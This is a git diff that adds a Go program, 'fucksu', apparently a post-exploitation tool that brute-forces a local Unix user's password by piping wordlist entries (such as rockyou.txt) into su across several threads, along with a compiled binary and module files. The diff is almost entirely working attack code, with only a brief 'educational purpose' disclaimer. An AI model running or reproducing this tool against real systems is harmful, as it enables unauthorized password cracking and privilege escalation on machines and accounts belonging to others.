diff --git a/README.md b/README.md
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index e69de29..0000000
diff --git a/fucksu b/fucksu
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index 0000000..510ea91
Binary files /dev/null and b/fucksu differ
diff --git a/fucksu.go b/fucksu.go
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+++ b/fucksu.go
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+/*
+Description: Tool to bruteforce local users through su using a dictionary.
+Auth0r: sml@lacashita.com
+
+Use it only as educational purpose.
+*/
+
+package main
+
+import (
+	"bufio"
+	"flag"
+	"fmt"
+	"github.com/go-cmd/cmd"
+	"os"
+	"sync"
+	"os/user"
+)
+
+func prepareWordlist(jobs chan string, wordlist *string) {
+	file, _ := os.Open(*wordlist)
+	scanner := bufio.NewScanner(file)
+	for scanner.Scan() {
+		jobs <- scanner.Text()
+	}
+	close(jobs)
+}
+
+func fuckSU(jobs chan string, wg *sync.WaitGroup, uzer string){
+	defer wg.Done()
+	for {
+		pazz, ok := <-jobs
+		if !ok {
+			break
+		} else {
+			var lacasito string
+			lacasito = fmt.Sprintf("echo \"%v\" | timeout 0.1 su %v -c id",pazz,uzer)
+			c := cmd.NewCmd("bash", "-c", lacasito)
+			<-c.Start()
+
+			if len(c.Status().Stdout) != 0 {
+				fmt.Printf("[+] Pass found: %v\n",pazz)
+				os.Exit(0)
+			}
+		}
+	}
+}
+
+func checkWordlist(keyfile *string) {
+	var file string
+	file = *keyfile
+	_, err := os.Stat(file)
+	if err != nil {
+		fmt.Println("[!] Wordlist doesnt exist")
+		os.Exit(1)
+	}
+}
+
+func checkUser(uzer string) {
+    _, err := user.Lookup(uzer)
+    if err != nil {
+	fmt.Println("[!] User doesnt exists.")
+	os.Exit(1)
+    }
+}
+
+func menu(options int) {
+	if options < 4 {
+		fmt.Println(`
+
+[!] Insufficient Arguments
+
+Examples of usage:
+fucksu -u loco -w rockyou.txt 
+
+Example with 5 threads:
+fucksu -u loco -w rockyou.txt -t 5
+		`)
+		os.Exit(1)
+	}
+}
+
+func main() {
+	var wordlist string
+	var uzer string
+	var threads int
+	var wg sync.WaitGroup
+	jobs := make(chan string)
+	flag.StringVar(&wordlist, "w", "", "Like /usr/share/wordlists/rockyou.txt")
+    flag.StringVar(&uzer, "u", "", "Username")
+	flag.IntVar(&threads, "t", 5, "Threads, by default 5")
+	flag.Parse()
+	menu(len(os.Args))
+	checkWordlist(&wordlist)
+	checkUser(uzer)
+	fmt.Printf(`
+
+  ______          _     _____ _    _ 
+ |  ____|        | |   / ____| |  | |
+ | |__ _   _  ___| | _| (___ | |  | |
+ |  __| | | |/ __| |/ /\___ \| |  | |
+ | |  | |_| | (__|   < ____) | |__| |
+ |_|   \__,_|\___|_|\_\_____/ \____/ 
+[-] Bruteforcing su.... Wait.
+
+
+`)
+
+	go prepareWordlist(jobs, &wordlist)
+	for i := 0; i < threads; i++ {
+		go fuckSU(jobs, &wg, uzer)
+		wg.Add(1)
+	}
+	wg.Wait()
+	fmt.Printf("[x] Password not found :_(\n")
+}
diff --git a/go.mod b/go.mod
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+module sucrack
+
+go 1.19
+
+require github.com/go-cmd/cmd v1.4.1 // indirect
diff --git a/go.sum b/go.sum
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--- /dev/null
+++ b/go.sum
@@ -0,0 +1,2 @@
+github.com/go-cmd/cmd v1.4.1 h1:JUcEIE84v8DSy02XTZpUDeGKExk2oW3DA10hTjbQwmc=
+github.com/go-cmd/cmd v1.4.1/go.mod h1:tbBenttXtZU4c5djS1o7PWL5pd2xAr5sIqH1kGdNiRc=